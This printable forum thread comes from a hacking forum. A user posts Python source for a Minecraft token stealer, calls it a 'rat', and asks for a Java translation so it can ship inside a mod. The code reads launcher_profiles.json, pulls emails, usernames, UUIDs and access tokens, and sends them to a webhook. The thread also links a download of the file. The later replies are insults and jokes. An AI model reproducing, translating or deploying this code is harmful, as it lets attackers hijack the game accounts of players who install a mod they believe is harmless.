![]() |
|
[Java] Translation of code from python to Java (rat) - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [Java] Translation of code from python to Java (rat) (/showthread.php?tid=6207625) |
Translation of code from python to Java (rat) - lasermat - May 31, 2022 Hi (I use google translate) it will be to know if someone can translate this code into java (it's a rat for minecraft mods) it's python for now or if someone can make me a rat of a minecraft mod or we just have to change the weebhook Thank you ✌ import json import os from urllib.request import Request, urlopen # your webhook URL WEBHOOK_URL = "Webhook here" # mentions you when you get a hit PING_ME = True def uuid_dashed(uuid): return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}" def main(): auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"] embeds = [] for x in auth_db: try: email = auth_db[x].get("username") uuid, display_name_object = list(auth_db[x]["profiles"].items())[0] embed = { "fields": [ {"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False}, {"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True}, {"name": "UUID", "value": uuid_dashed(uuid), "inline": True}, {"name": "Token", "value": auth_db[x]["accessToken"], "inline": True} ] } embeds.append(embed) except: pass headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" } payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""}) try: req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers) urlopen(req) except: pass if_name_ == "__main__": main() mediafire.com/file/6rsczsfk3bmd0xx/rat_python.py/file if you want download the py file RE: Translation of code from python to Java (rat) - GenericSkid - May 31, 2022 this shit is so fucking common you don't need to translate it. this """rat""" is retarded and so are you. RE: Translation of code from python to Java (rat) - Luffy-_- - Jun 19, 2022 i think copilot cand now translate from one lang to another but not sure though RE: Translation of code from python to Java (rat) - pineapplesarecool - Jul 16, 2022 You play hypixel skyblock lol? |